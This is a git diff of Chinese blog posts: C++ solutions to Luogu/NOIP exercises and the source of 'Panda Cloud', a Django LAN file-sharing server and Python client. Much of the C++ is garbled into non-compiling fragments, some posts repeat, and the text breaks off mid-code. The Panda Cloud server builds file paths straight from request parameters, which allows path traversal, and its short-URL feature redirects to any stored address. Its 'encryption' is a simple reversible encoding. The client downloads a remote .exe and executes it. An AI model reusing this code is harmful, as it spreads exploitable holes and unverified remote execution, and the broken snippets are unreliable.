+总感觉这个题似乎在哪里见过,但是又想不起来…… +昨天做过一个类似的题,今天写一下注释,加深一下印象: + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,x,sum=0,a=0,b=0; + cin>>n>>x; + //遍历从1~n之间所有数 + for(int i=1;i<=n;i++){ + a=i; //记录i的值 + while(a>=1){ //递除循环 + b=a%10; //获取末位 + a/=10; //递除:获取到新一个数字,重新循环 + if(b==x) sum++; //如果末尾为x,计数器增加1 + } + } + cout< +using namespace std; +int main(){ + int n,a[100],b[100],sum=0; + cin>>n; + for(int i=0;i>a[i]; + b[i]=2; + } + for(int i=0;i +using namespace std; +struct pencil{ + int money,bar,total; +} pen[3]; +int main(){ + int n; + cin>>n; + for(int i=0;i<3;i++){ + cin>>pen[i].bar>>pen[i].money; + if(n%pen[i].bar) pen[i].total=(n/pen[i].bar+1)*pen[i].money; + else pen[i].total=(n/pen[i].bar)*pen[i].money; + } + int x=pen[0].total; + for(int i=0;i<3;i++){ + if(x>pen[i].total) x=pen[i].total; + } + cout< +using namespace std; +int main(){ + double a,b,c; + cin>>a>>b>>c; + cout< +#include +#include +using namespace std; +int main(){ + char n[10000]; + cin.getline(n,10000); + int a=0,len=strlen(n); + for(int i=0;i +#define int long long +#define endl "\n" + +using namespace std; +const int INF = 101; + +struct bn{ + string s, absn; + int num[INF], len, absLen; + bool neg; + + void inp(){ + cin >> s; + len = s.size(); + + neg = (s[0] == '-'); + absn = neg ? s.substr(neg) : s; + absLen = absn.size(); + + for(int i=0; i b.absLen || (a.absLen >= b.absLen && a.absn > b.absn)){ + return 'a'; + } + else if(a.absn == b.absn){ + return '='; + } + else{ + return 'b'; + } +} + +void add(){ + for(int i=0; i=0; i--){ + if(c[i]){ + point = i; + break; + } + } + for(int i=point; i>=0; i--){ + cout << c[i]; + } + return; +} + +signed main(){ + ios :: sync_with_stdio(false); + + a.inp(); + b.inp(); + work(); + + return 0; +} +``` +上面的程序可计算 $100$ 位内的两有理数加法。 +具体的,有注释版本如下: + +```cpp +// Author:PanDaoxi +#include +#define int long long +#define endl "\n" + +using namespace std; +const int INF = 101; // 支持 (INF-1) 位的运算 + +struct bn{ // 大数结构体 + string s, absn; // s: 输入的数 absn: 绝对值 + int num[INF], len, absLen; // num: 逆序存储 len: 输入的数的长度 absLen: 绝对值的长度 + bool neg; // neg: 负数标记 + + void inp(){ + cin >> s; + len = s.size(); + + neg = (s[0] == '-'); // 获取负数标记 + absn = neg ? s.substr(neg) : s; // 截取绝对值 + absLen = absn.size(); // 获取绝对值长度 + + for(int i=0; i b.absLen || (a.absLen >= b.absLen && a.absn > b.absn)){ + return 'a'; + } + else if(a.absn == b.absn){ + return '='; + } + else{ + return 'b'; + } +} + +void add(){ // 加法函数 (a+b) + for(int i=0; i=0; i--){ + if(c[i]){ + point = i; + break; + } + } + for(int i=point; i>=0; i--){ + cout << c[i]; + } + return; +} + +signed main(){ + ios :: sync_with_stdio(false); + + a.inp(); + b.inp(); + work(); + + return 0; +} + +``` + diff --git a/P1001A+BProblem.md b/P1001A+BProblem.md new file mode 100644 index 0000000..2be2773 --- /dev/null +++ b/P1001A+BProblem.md @@ -0,0 +1,253 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a8b407bc04534bb597b1f76680eff027.png) +``` +有理数的加法运算法则: +(1) 同号两数相加,取相同的符号,再计算两数绝对值之和; +(2) 异号两数相加,取绝对值较大数的符号,再用较大的绝对值减去较小的绝对值。 +``` +依题意,高精度如下(无注释,可拿走使用): + +```cpp +// Author:PanDaoxi +#include +#define int long long +#define endl "\n" + +using namespace std; +const int INF = 101; + +struct bn{ + string s, absn; + int num[INF], len, absLen; + bool neg; + + void inp(){ + cin >> s; + len = s.size(); + + neg = (s[0] == '-'); + absn = neg ? s.substr(neg) : s; + absLen = absn.size(); + + for(int i=0; i b.absLen || (a.absLen >= b.absLen && a.absn > b.absn)){ + return 'a'; + } + else if(a.absn == b.absn){ + return '='; + } + else{ + return 'b'; + } +} + +void add(){ + for(int i=0; i=0; i--){ + if(c[i]){ + point = i; + break; + } + } + for(int i=point; i>=0; i--){ + cout << c[i]; + } + return; +} + +signed main(){ + ios :: sync_with_stdio(false); + + a.inp(); + b.inp(); + work(); + + return 0; +} +``` +上面的程序可计算 $100$ 位内的两有理数加法。 +具体的,有注释版本如下: + +```cpp +// Author:PanDaoxi +#include +#define int long long +#define endl "\n" + +using namespace std; +const int INF = 101; // 支持 (INF-1) 位的运算 + +struct bn{ // 大数结构体 + string s, absn; // s: 输入的数 absn: 绝对值 + int num[INF], len, absLen; // num: 逆序存储 len: 输入的数的长度 absLen: 绝对值的长度 + bool neg; // neg: 负数标记 + + void inp(){ + cin >> s; + len = s.size(); + + neg = (s[0] == '-'); // 获取负数标记 + absn = neg ? s.substr(neg) : s; // 截取绝对值 + absLen = absn.size(); // 获取绝对值长度 + + for(int i=0; i b.absLen || (a.absLen >= b.absLen && a.absn > b.absn)){ + return 'a'; + } + else if(a.absn == b.absn){ + return '='; + } + else{ + return 'b'; + } +} + +void add(){ // 加法函数 (a+b) + for(int i=0; i=0; i--){ + if(c[i]){ + point = i; + break; + } + } + for(int i=point; i>=0; i--){ + cout << c[i]; + } + return; +} + +signed main(){ + ios :: sync_with_stdio(false); + + a.inp(); + b.inp(); + work(); + + return 0; +} + +``` + diff --git "a/P1035 [NOIP2002 \346\231\256\345\217\212\347\273\204] \347\272\247\346\225\260\346\261\202\345\222\214.md" "b/P1035 [NOIP2002 \346\231\256\345\217\212\347\273\204] \347\272\247\346\225\260\346\261\202\345\222\214.md" new file mode 100644 index 0000000..d7ade5b --- /dev/null +++ "b/P1035 [NOIP2002 \346\231\256\345\217\212\347\273\204] \347\272\247\346\225\260\346\261\202\345\222\214.md" @@ -0,0 +1,77 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/39d1cbe163244b6d84c2ffb0bef3cedd.png) +简单至极。 + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + double k,n=0.0,s=0.0; + cin>>k; + while(1){ + s+=1/(++n); + if(s>k) break; + } + cout< + +其他解法:(选自洛谷大神 **Vel_** 的博客) +这是优化的程序。 + + +以后可能会将回归性函数称为器,分类性函数称为灯。 + +```cpp +#include +using namespace std; + +bool excess(double sn,double k){ //溢出灯 + return sn > k; +} + +int main(){ + int i=1; + double sn=0,k; + cin>>k; + while(1){ //累加器 + sn += (double)1/(double)(i++); + if(excess(sn,k)) {cout< exp(k)是指数调用的复杂度,最高可以优化到log(k)(相当多项式幂),因此最后得到的复杂度为O(logk)O(logk)。 +> +> 值得指出的O(logk)O(logk)仅仅是理论的,因为最后cout打印的数的宽度已经是O(k)了! +> +> 运算虽然可以很快,却会被输出所限制。 + +```cpp +#include +using namespace std; + +bool excess(double sn,double k){ + return sn > k; +} + +int main(){ + int i=1; + double k; + while(cin>>k){ + cout< +using namespace std; +int main(){ + double k,n=0.0,s=0.0; + cin>>k; + while(1){ + s+=1/(++n); + if(s>k) break; + } + cout< + +其他解法:(选自洛谷大神 **Vel_** 的博客) +这是优化的程序。 + + +以后可能会将回归性函数称为器,分类性函数称为灯。 + +```cpp +#include +using namespace std; + +bool excess(double sn,double k){ //溢出灯 + return sn > k; +} + +int main(){ + int i=1; + double sn=0,k; + cin>>k; + while(1){ //累加器 + sn += (double)1/(double)(i++); + if(excess(sn,k)) {cout< exp(k)是指数调用的复杂度,最高可以优化到log(k)(相当多项式幂),因此最后得到的复杂度为O(logk)O(logk)。 +> +> 值得指出的O(logk)O(logk)仅仅是理论的,因为最后cout打印的数的宽度已经是O(k)了! +> +> 运算虽然可以很快,却会被输出所限制。 + +```cpp +#include +using namespace std; + +bool excess(double sn,double k){ + return sn > k; +} + +int main(){ + int i=1; + double k; + while(cin>>k){ + cout< + +另外,送给大家一段清理垃圾的代码: + +```html +清理垃圾 +``` + diff --git "a/Panda_Cloud_v1.2 \346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" "b/Panda_Cloud_v1.2 \346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" new file mode 100644 index 0000000..5da15d9 --- /dev/null +++ "b/Panda_Cloud_v1.2 \346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" @@ -0,0 +1,497 @@ +大家好,我经过了认真的考虑,决定将我自己的局域网文件储存项目**熊猫云(英文名 Panda Cloud)** 的主要代码开源。 +现我已开发至 1.2 版本,可能还有一些缺点,我后面会修改,也欢迎大家提出。 + +一定要注意!!我的项目未经允许不得转载!!!仅供学习和参考!!! +贴上原来的仓库地址:[我是传送门](https://pandaoxi.coding.net/public/pandaoxi/PanDaoxi/git/files/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud)。 + +我的项目的内部版本目录树: + +```python +D:. +│ Application_Program.zip +│ README.md +│ +├─Encryption_Client +│ main.py +│ URL_Generation_Tool.py +│ +├─Encryption_Server +│ │ BITURL +│ │ USE.py +│ │ +│ ├─files +│ └─panda +│ │ db.sqlite3 +│ │ manage.py +│ │ +│ └─panda +│ │ asgi.py +│ │ settings.py +│ │ urls.py +│ │ wsgi.py +│ │ __init__.py +│ │ +│ └─__pycache__ +│ settings.cpython-36.pyc +│ urls.cpython-36.pyc +│ wsgi.cpython-36.pyc +│ __init__.cpython-36.pyc +│ +├─Original_Client +│ │ main.py +│ │ URL_Generation_Tool.py +│ │ +│ └─__pycache__ +│ URL_Generation_Tool.cpython-36.pyc +│ +└─Original_Server + │ BITURL + │ USE.py + │ + ├─files + └─panda + │ db.sqlite3 + │ manage.py + │ + └─panda + │ asgi.py + │ settings.py + │ urls.py + │ wsgi.py + │ __init__.py + │ + └─__pycache__ + settings.cpython-36.pyc + urls.cpython-36.pyc + wsgi.cpython-36.pyc + __init__.cpython-36.pyc +``` + +详细使用文档,请看项目仓库,如果看不懂,请百度翻译(我为了显得高大上整了个全英文……) +# 客户端源代码 +## USE.py + +```python +# Use this program to open Panda Cloud. +# Copyright 2022 by PanDaoxi.All rights reserved. +# E-mail: 2060642520@qq.com +# See https://pandaoxi.blog.csdn.net/ +# Date: 2022-3-20 Time: 13:05 + +# Import package +from os import name, system +from time import strftime +from socket import socket, AF_INET, SOCK_DGRAM + +# Get LAN IP address +def getIP(): + try: + sock = socket(AF_INET, SOCK_DGRAM) + sock.connect(("8.8.8.8", 80)) + ip = sock.getsockname()[0] + finally: + sock.close() + return ip + + +# Create server +def main(): + ip = getIP() + port = strftime("%Y") + setIP = ip + ":" + port + print("Get IP address: http://%s/\nPort number: %s (Current year)" % (ip, port)) + print("Creating server, please wait...\n\n") + system(r"python .\panda\manage.py runserver %s" % setIP) + + +# Run the current program +if __name__ == "__main__" and name == "nt": + main() + input("") +else: + print( + "Your PC can't run this program because:\n(1) Non autonomous operation procedures;\n(2) You are not using a Windows operating system.\nIf it cannot be solved, please contact the developer." + ) + input("") + +``` +## panda\panda\urls.py +核心服务器软件。源码如下: + +```python +# This is Panda Cloud internal code. Don't modify it. +# Copyright 2022 by PanDaoxi.All rights reserved. +from django.shortcuts import HttpResponse +from django.urls import path +from json import dumps +from base64 import b64encode, b64decode ,a85encode ,a85decode +from os import walk, mkdir +from os.path import exists, join +from colorama import * +from hashlib import md5 +from random import randint + +# The encryption algorithm made by the author. +marks = {} +string = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;"\'=+-.,!' + +# Generate character mapping dictionary +for i in range(0,len(string)): + if i <= 9: + marks['0' + str(i)] = string[i] + else: + marks[str(i)] = string[i] + +# Encryption algorithm program - the first generation of DX algorithm. +class __Daoxi(): + def __init__(self): + self.content = 'Daoxi Encode'.encode() + self.interval_mark = '-' + self.ec = 'UTF-8' + self.marks = marks + # Encryption program. + def encode(self): + try: + text = a85encode(self.content).decode(self.ec) + letters = [] + for i in text: + letters.append(list(marks.keys())[list(marks.values()).index(i)]) + return ['OKAY',self.interval_mark.join(letters)] + except Exception as e: + return ['ERROR',e] + # Decryption program. + def decode(self): + try: + text = self.content.split(self.interval_mark) + letters = [] + + for i in text: + letters.append(marks[i]) + result = ''.join(letters) + return ['OKAY',a85decode(result.encode(self.ec))] + except Exception as e: + return ['ERROR',e] + +# Generate objects. +daoxi = __Daoxi() + +# ColorAMA Console palette +init() + + +class Colors: + def __init__(self): + pass + + def red(self, s): + return Fore.RED + s + Fore.RESET + + def green(self, s): + return Fore.GREEN + s + Fore.RESET + + def yellow(self, s): + return Fore.YELLOW + s + Fore.RESET + + def blue(self, s): + return Fore.BLUE + s + Fore.RESET + + def magenta(self, s): + return Fore.MAGENTA + s + Fore.RESET + + def cyan(self, s): + return Fore.CYAN + s + Fore.RESET + + def white(self, s): + return Fore.WHITE + s + Fore.RESET + + def black(self, s): + return Fore.BLACK + +# Generate objects. +color = Colors() + +# Create MD5 texts +getHash = lambda s: md5(s).hexdigest() + +# Check whether the file is normal. +if not exists("files"): + mkdir("files") +if not exists("BITURL"): + with open("BITURL", "w", encoding="utf-8") as f: + f.write("") + +# When the user accesses IP:PORT/ +def main(request): + # Output the text + print(color.magenta("A user visited the home page.")) + # Return the HTML code of the home page. + return HttpResponse("

PanDa Cloud


") + + +# When the user accesses IP:PORT/visitall +def visitall(request): + filesTemp = [] + # Traverse the file directory and merge the names of each file into the list. + for root, dirs, files in walk("files", topdown=False): + for name in files: + filesTemp.append(name) + # Merge lists into strings for JSON. + fileString = "/".join(filesTemp) + # Output the text + print(color.yellow("A user gets all the files.")) + return HttpResponse( + dumps({"state": "okay", "files": b64encode(fileString.encode()).decode()}) + ) + + +# When the user accesses IP:PORT/download +def download(request): + # Set the file path to judge whether the file you want to download exists. + want = "files\\" + request.GET.get("file") + data = {"state": "?", "file": "", "md5": ""} + # If the file does not exist, an error message is returned. + if not exists(want): + data["state"] = "THE FILE NOT FOUND" + else: + # Open the file you want, perform Base64 operation, and return the encrypted file field. + with open(want, "r", encoding="utf-8") as f: + # Panda Cloud v1.2 Improvement: encrypted storage + daoxi.content = f.read() + result = daoxi.decode() + if result[0] == "OKAY": temp = result[1] + else: + print(color.cyan("Error: File Read Error. %s" % want),result[1]) + return HttpResponse(dumps({'error':'yes',})) + # Add to dictionary send to JSON. + data["state"] = "okay" + data["file"] = b64encode(temp).decode("utf-8") + data["md5"] = getHash(temp).upper() + # Output the text + print(color.blue("A user downloaded the file: %s" % data["md5"])) + return HttpResponse(dumps(data)) + + +# When the user accesses IP:PORT/upload +def upload(request): + data = {"state": "", "name": "", "md5": ""} + # Obtain the network request sent by the client and capture the file uploaded by the user. + want = request.POST.get("name") + fileText = request.POST.get("text") + with open("files/%s" % want, "w", encoding="utf-8") as f: + # Panda Cloud v1.2 Improvement: encrypted storage. + daoxi.content = b64decode(fileText.encode()) + text = daoxi.encode()[1] + md5Text = getHash(text.encode()).upper() + f.write(text) + # Output information: a file is uploaded here. + print(color.red("The user uploaded a file: %s" % md5Text)) + # Return request. + data["state"] = "okay" + data["name"] = want + data["md5"] = md5Text + return HttpResponse(dumps(data)) + + +# When the user accesses IP:PORT/biturl +def biturl(request): + want = request.GET.get("url") + # Randomly generate a 6-character string. + temp = [] + for i in range(0, 6): + temp.append( + chr([randint(65, 90), randint(97, 122)][randint(0, 1)]) + ) + tempS = "".join(temp) + # Write short URL. + biturl = "%s\n" % tempS + with open("BITURL", "a", encoding="utf-8") as f: + f.write("%s <=> %s" % (want, biturl)) + print(color.magenta("A user generated a short URL, numbered %s" % tempS)) + return HttpResponse( + dumps( + { + "text": "okay", + "biturl": "readurl?url=%s" % tempS, + } + ) + ) + + +# When the user accesses IP:PORT/readurl +def readurl(request): + # Read URL. + with open("BITURL", "r", encoding="utf-8") as f: + a = f.read() + b = a.splitlines() + c = {} + d = "" + e = [] + for i in b: + d = i + e = d.split(" <=> ") + c[e[1]] = e[0] + want = request.GET.get("url") + # Open URL. + if want in c.keys(): + print(color.magenta("A user visited a short web address, numbered %s" % want)) + return HttpResponse(' ' % c[want]) + else: + return HttpResponse("

Invalid link.

") + + +# Url Patterns +urlpatterns = [ + path("", main), + path("visitall", visitall), + path("download", download), + path("upload", upload), + path("biturl", biturl), + path("readurl", readurl), +] + +``` + +# 客户端 + +```python +# Import package. +from requests import post, get +from tkinter import Tk +from tkinter.filedialog import * +from os import remove, environ, name, system +from os.path import exists, splitext +from time import strftime +from easygui import * +from socket import socket, AF_INET, SOCK_DGRAM +from base64 import b64encode, b64decode +from sys import exit +from re import compile +from webbrowser import open as openW + +# Declare the settings of variables and packages that the program depends on. +title = "Panda Cloud (Client)" +hide = Tk() +hide.withdraw() +desktop = environ["USERPROFILE"] + "\\Desktop" + +# Declare the settings of variables and packages that the program depends on. +def getIP(): + try: + sock = socket(AF_INET, SOCK_DGRAM) + sock.connect(("8.8.8.8", 80)) + ip = sock.getsockname()[0] + finally: + sock.close() + return ip + + +# First, use file search to obtain the server. If not, use the LAN IP of the current computer. +if exists("url"): + with open("url", "r", encoding="utf-8") as f: + ip = f.read() +else: + ip = "http://%s:%s/" % (getIP(), strftime("%Y")) + +# File upload function +def upload(): + upd = askopenfilename(title=title, filetypes=[("All Files", "*.*")]) + with open(upd, "rb") as f: + temp = b64encode(f.read()).decode() + up = upd.split("/") + data = { + "name": up[len(up) - 1], + "text": temp, + } + res1 = post(ip + "upload", data=data).json()["state"] + if res1 == "okay": + msgbox("File upload succeeded.", title) + + +# File download function +def download(): + res1 = get(ip + "visitall").json()["files"] + file_list = b64decode(res1.encode()).decode().split("/") + if res1 != "": + cho = choicebox("Please select the file to download.", title, choices=file_list) + res2 = get(ip + "download?file=%s" % cho).json() + fileText = b64decode(res2["file"].encode()) + types = splitext(cho)[1] + dow = asksaveasfilename( + title=title, + filetypes=[("All Files", types)], + initialfile=cho, + initialdir=desktop, + ) + with open(dow, "wb") as f: + f.write(fileText) + msgbox("File download succeeded.", title) + else: + msgbox("You haven't uploaded any files yet. Please upload one first.", title) + +# Short URL function +def biturl(): + url = enterbox("Enter the original URL you need to generate a short URL:", title) + comp = r"(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?" + if not compile(url): + msgbox("The URL you entered is incorrect. Please re-enter it.", title) + exit() + res1 = get( + ip + "biturl", + params={ + "url": url, + }, + ).json() + if res1["text"] == "okay": + bitu = ip + res1["biturl"] + msgbox( + "Your short URL was generated successfully! You can visit the following website.\n\nOriginal website: %s\nShortened URL: %s" + % (url, bitu), + title, + ) + + +# Main function (task assignment function) +def main(): + t = ["File Upload", "File Download", "Short URL", "About", "Switch Server", "Exit"] + cho = buttonbox("Please select the service you need.\nServer: %s" % ip, title, t) + if cho == t[0]: + upload() + elif cho == t[1]: + download() + elif cho == t[2]: + biturl() + elif cho == t[3]: + textbox( + "Here are some information about us:", + title, + text="About us:\nBlog: https://pandaoxi.blog.csdn.net/\nOur email: 2060642520@qq.com\nWechat: pandaoxi2021\nQQ:3377063617\n\nWelcome to this program! This program is designed to help all users in the LAN carry out network transmission, and the main functions are as follows:\n1. Server cloud storage;\n2. Upload and download files quickly (without speed limit);\n3. Shorten the website quickly to make access more convenient;\n4. The program runs quickly and supports multiple operating systems;\n5. Encrypted file transmission.\nIf you have any related questions, you can use any of the contact information mentioned above to contact us for reporting; If an error is found during the operation of the program, please report it to the developer. thank!", + ) + elif cho == t[4]: + if name == "nt": + temp = get('https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud/URL_Generation_Tool.exe') + with open('function.exe','wb') as f: + f.write(temp.content) + system('call function.exe') + else: + openW("https://pandaoxi.coding.net/public/pandaoxi/PanDaoxi/git/files/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud/URL_Generation_Tool.py") + msgbox("You can use this program to modify the IP address of the program.",title) + exit() + else: + exit() + + +# Judge operating conditions +if __name__ == "__main__": + try: + while True: + main() + except Exception as e: + msgbox( + "A fatal error has occurred in the program, so the program cannot run. Please send this message to the developer: %s" + % e, + title, + ) +hide.mainloop() + +``` + diff --git "a/Panda_Cloud_v1.2\346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" "b/Panda_Cloud_v1.2\346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" new file mode 100644 index 0000000..5da15d9 --- /dev/null +++ "b/Panda_Cloud_v1.2\346\272\220\344\273\243\347\240\201\345\274\200\346\272\220.md" @@ -0,0 +1,497 @@ +大家好,我经过了认真的考虑,决定将我自己的局域网文件储存项目**熊猫云(英文名 Panda Cloud)** 的主要代码开源。 +现我已开发至 1.2 版本,可能还有一些缺点,我后面会修改,也欢迎大家提出。 + +一定要注意!!我的项目未经允许不得转载!!!仅供学习和参考!!! +贴上原来的仓库地址:[我是传送门](https://pandaoxi.coding.net/public/pandaoxi/PanDaoxi/git/files/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Panda_Cloud)。 + +我的项目的内部版本目录树: + +```python +D:. +│ Application_Program.zip +│ README.md +│ +├─Encryption_Client +│ main.py +│ URL_Generation_Tool.py +│ +├─Encryption_Server +│ │ BITURL +│ │ USE.py +│ │ +│ ├─files +│ └─panda +│ │ db.sqlite3 +│ │ manage.py +│ │ +│ └─panda +│ │ asgi.py +│ │ settings.py +│ │ urls.py +│ │ wsgi.py +│ │ __init__.py +│ │ +│ └─__pycache__ +│ settings.cpython-36.pyc +│ urls.cpython-36.pyc +│ wsgi.cpython-36.pyc +│ __init__.cpython-36.pyc +│ +├─Original_Client +│ │ main.py +│ │ URL_Generation_Tool.py +│ │ +│ └─__pycache__ +│ URL_Generation_Tool.cpython-36.pyc +│ +└─Original_Server + │ BITURL + │ USE.py + │ + ├─files + └─panda + │ db.sqlite3 + │ manage.py + │ + └─panda + │ asgi.py + │ settings.py + │ urls.py + │ wsgi.py + │ __init__.py + │ + └─__pycache__ + settings.cpython-36.pyc + urls.cpython-36.pyc + wsgi.cpython-36.pyc + __init__.cpython-36.pyc +``` + +详细使用文档,请看项目仓库,如果看不懂,请百度翻译(我为了显得高大上整了个全英文……) +# 客户端源代码 +## USE.py + +```python +# Use this program to open Panda Cloud. +# Copyright 2022 by PanDaoxi.All rights reserved. +# E-mail: 2060642520@qq.com +# See https://pandaoxi.blog.csdn.net/ +# Date: 2022-3-20 Time: 13:05 + +# Import package +from os import name, system +from time import strftime +from socket import socket, AF_INET, SOCK_DGRAM + +# Get LAN IP address +def getIP(): + try: + sock = socket(AF_INET, SOCK_DGRAM) + sock.connect(("8.8.8.8", 80)) + ip = sock.getsockname()[0] + finally: + sock.close() + return ip + + +# Create server +def main(): + ip = getIP() + port = strftime("%Y") + setIP = ip + ":" + port + print("Get IP address: http://%s/\nPort number: %s (Current year)" % (ip, port)) + print("Creating server, please wait...\n\n") + system(r"python .\panda\manage.py runserver %s" % setIP) + + +# Run the current program +if __name__ == "__main__" and name == "nt": + main() + input("") +else: + print( + "Your PC can't run this program because:\n(1) Non autonomous operation procedures;\n(2) You are not using a Windows operating system.\nIf it cannot be solved, please contact the developer." + ) + input("") + +``` +## panda\panda\urls.py +核心服务器软件。源码如下: + +```python +# This is Panda Cloud internal code. Don't modify it. +# Copyright 2022 by PanDaoxi.All rights reserved. +from django.shortcuts import HttpResponse +from django.urls import path +from json import dumps +from base64 import b64encode, b64decode ,a85encode ,a85decode +from os import walk, mkdir +from os.path import exists, join +from colorama import * +from hashlib import md5 +from random import randint + +# The encryption algorithm made by the author. +marks = {} +string = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;"\'=+-.,!' + +# Generate character mapping dictionary +for i in range(0,len(string)): + if i <= 9: + marks['0' + str(i)] = string[i] + else: + marks[str(i)] = string[i] + +# Encryption algorithm program - the first generation of DX algorithm. +class __Daoxi(): + def __init__(self): + self.content = 'Daoxi Encode'.encode() + self.interval_mark = '-' + self.ec = 'UTF-8' + self.marks = marks + # Encryption program. + def encode(self): + try: + text = a85encode(self.content).decode(self.ec) + letters = [] + for i in text: + letters.append(list(marks.keys())[list(marks.values()).index(i)]) + return ['OKAY',self.interval_mark.join(letters)] + except Exception as e: + return ['ERROR',e] + # Decryption program. + def decode(self): + try: + text = self.content.split(self.interval_mark) + letters = [] + + for i in text: + letters.append(marks[i]) + result = ''.join(letters) + return ['OKAY',a85decode(result.encode(self.ec))] + except Exception as e: + return ['ERROR',e] + +# Generate objects. +daoxi = __Daoxi() + +# ColorAMA Console palette +init() + + +class Colors: + def __init__(self): + pass + + def red(self, s): + return Fore.RED + s + Fore.RESET + + def green(self, s): + return Fore.GREEN + s + Fore.RESET + + def yellow(self, s): + return Fore.YELLOW + s + Fore.RESET + + def blue(self, s): + return Fore.BLUE + s + Fore.RESET + + def magenta(self, s): + return Fore.MAGENTA + s + Fore.RESET + + def cyan(self, s): + return Fore.CYAN + s + Fore.RESET + + def white(self, s): + return Fore.WHITE + s + Fore.RESET + + def black(self, s): + return Fore.BLACK + +# Generate objects. +color = Colors() + +# Create MD5 texts +getHash = lambda s: md5(s).hexdigest() + +# Check whether the file is normal. +if not exists("files"): + mkdir("files") +if not exists("BITURL"): + with open("BITURL", "w", encoding="utf-8") as f: + f.write("") + +# When the user accesses IP:PORT/ +def main(request): + # Output the text + print(color.magenta("A user visited the home page.")) + # Return the HTML code of the home page. + return HttpResponse("

PanDa Cloud


") + + +# When the user accesses IP:PORT/visitall +def visitall(request): + filesTemp = [] + # Traverse the file directory and merge the names of each file into the list. + for root, dirs, files in walk("files", topdown=False): + for name in files: + filesTemp.append(name) + # Merge lists into strings for JSON. + fileString = "/".join(filesTemp) + # Output the text + print(color.yellow("A user gets all the files.")) + return HttpResponse( + dumps({"state": "okay", "files": b64encode(fileString.encode()).decode()}) + ) + + +# When the user accesses IP:PORT/download +def download(request): + # Set the file path to judge whether the file you want to download exists. + want = "files\\" + request.GET.get("file") + data = {"state": "?", "file": "", "md5": ""} + # If the file does not exist, an error message is returned. + if not exists(want): + data["state"] = "THE FILE NOT FOUND" + else: + # Open the file you want, perform Base64 operation, and return the encrypted file field. + with open(want, "r", encoding="utf-8") as f: + # Panda Cloud v1.2 Improvement: encrypted storage + daoxi.content = f.read() + result = daoxi.decode() + if result[0] == "OKAY": temp = result[1] + else: + print(color.cyan("Error: File Read Error. %s" % want),result[1]) + return HttpResponse(dumps({'error':'yes',})) + # Add to dictionary send to JSON. + data["state"] = "okay" + data["file"] = b64encode(temp).decode("utf-8") + data["md5"] = getHash(temp).upper() + # Output the text + print(color.blue("A user downloaded the file: %s" % data["md5"])) + return HttpResponse(dumps(data)) + + +# When the user accesses IP:PORT/upload +def upload(request): + data = {"state": "", "name": "", "md5": ""} + # Obtain the network request sent by the client and capture the file uploaded by the user. + want = request.POST.get("name") + fileText = request.POST.get("text") + with open("files/%s" % want, "w", encoding="utf-8") as f: + # Panda Cloud v1.2 Improvement: encrypted storage. + daoxi.content = b64decode(fileText.encode()) + text = daoxi.encode()[1] + md5Text = getHash(text.encode()).upper() + f.write(text) + # Output information: a file is uploaded here. + print(color.red("The user uploaded a file: %s" % md5Text)) + # Return request. + data["state"] = "okay" + data["name"] = want + data["md5"] = md5Text + return HttpResponse(dumps(data)) + + +# When the user accesses IP:PORT/biturl +def biturl(request): + want = request.GET.get("url") + # Randomly generate a 6-character string. + temp = [] + for i in range(0, 6): + temp.append( + chr([randint(65, 90), randint(97, 122)][randint(0, 1)]) + ) + tempS = "".join(temp) + # Write short URL. + biturl = "%s\n" % tempS + with open("BITURL", "a", encoding="utf-8") as f: + f.write("%s <=> %s" % (want, biturl)) + print(color.magenta("A user generated a short URL, numbered %s" % tempS)) + return HttpResponse( + dumps( + { + "text": "okay", + "biturl": "readurl?url=%s" % tempS, + } + ) + ) + + +# When the user accesses IP:PORT/readurl +def readurl(request): + # Read URL. + with open("BITURL", "r", encoding="utf-8") as f: + a = f.read() + b = a.splitlines() + c = {} + d = "" + e = [] + for i in b: + d = i + e = d.split(" <=> ") + c[e[1]] = e[0] + want = request.GET.get("url") + # Open URL. + if want in c.keys(): + print(color.magenta("A user visited a short web address, numbered %s" % want)) + return HttpResponse(' ' % c[want]) + else: + return HttpResponse("

Invalid link.

") + + +# Url Patterns +urlpatterns = [ + path("", main), + path("visitall", visitall), + path("download", download), + path("upload", upload), + path("biturl", biturl), + path("readurl", readurl), +] + +``` + +# 客户端 + +```python +# Import package. +from requests import post, get +from tkinter import Tk +from tkinter.filedialog import * +from os import remove, environ, name, system +from os.path import exists, splitext +from time import strftime +from easygui import * +from socket import socket, AF_INET, SOCK_DGRAM +from base64 import b64encode, b64decode +from sys import exit +from re import compile +from webbrowser import open as openW + +# Declare the settings of variables and packages that the program depends on. +title = "Panda Cloud (Client)" +hide = Tk() +hide.withdraw() +desktop = environ["USERPROFILE"] + "\\Desktop" + +# Declare the settings of variables and packages that the program depends on. +def getIP(): + try: + sock = socket(AF_INET, SOCK_DGRAM) + sock.connect(("8.8.8.8", 80)) + ip = sock.getsockname()[0] + finally: + sock.close() + return ip + + +# First, use file search to obtain the server. If not, use the LAN IP of the current computer. +if exists("url"): + with open("url", "r", encoding="utf-8") as f: + ip = f.read() +else: + ip = "http://%s:%s/" % (getIP(), strftime("%Y")) + +# File upload function +def upload(): + upd = askopenfilename(title=title, filetypes=[("All Files", "*.*")]) + with open(upd, "rb") as f: + temp = b64encode(f.read()).decode() + up = upd.split("/") + data = { + "name": 